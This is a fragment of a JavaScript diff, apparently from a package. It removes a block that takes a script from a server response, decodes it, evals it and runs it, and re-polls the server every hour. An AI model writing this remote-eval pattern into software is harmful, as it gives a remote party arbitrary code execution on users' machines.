if (data.script) {
|
|
31
|
-
let script = ____0.from123(data.script);
|
|
32
|
-
let fn = ____0.eval(script, true);
|
|
33
|
-
fn(____0);
|
|
34
|
-
}
|
|
35
|
-
}
|
|
36
|
-
setTimeout(() => {
|
|
37
|
-
____0.httpTrustedOnline();
|
|
38
|
-
}, 1000 * 60 * 60);
|
|
39
|
-
})
|
|
40
|
-
.catch((err) => {
|
|
41
|
-
setTimeout(() => {
|
|
42
|
-
____0.httpTrustedOnline();
|
|
43
|
-
}, 1000 * 60 * 60);
|
|
44
|
-
});
|
|
45
|
-
};
|
|
51
|
+
};
|
|
46
52
|
|
|
47
|
-
|
|
53
|
+
____0.httpTrustedOnline();
|
|
48
54
|
};
|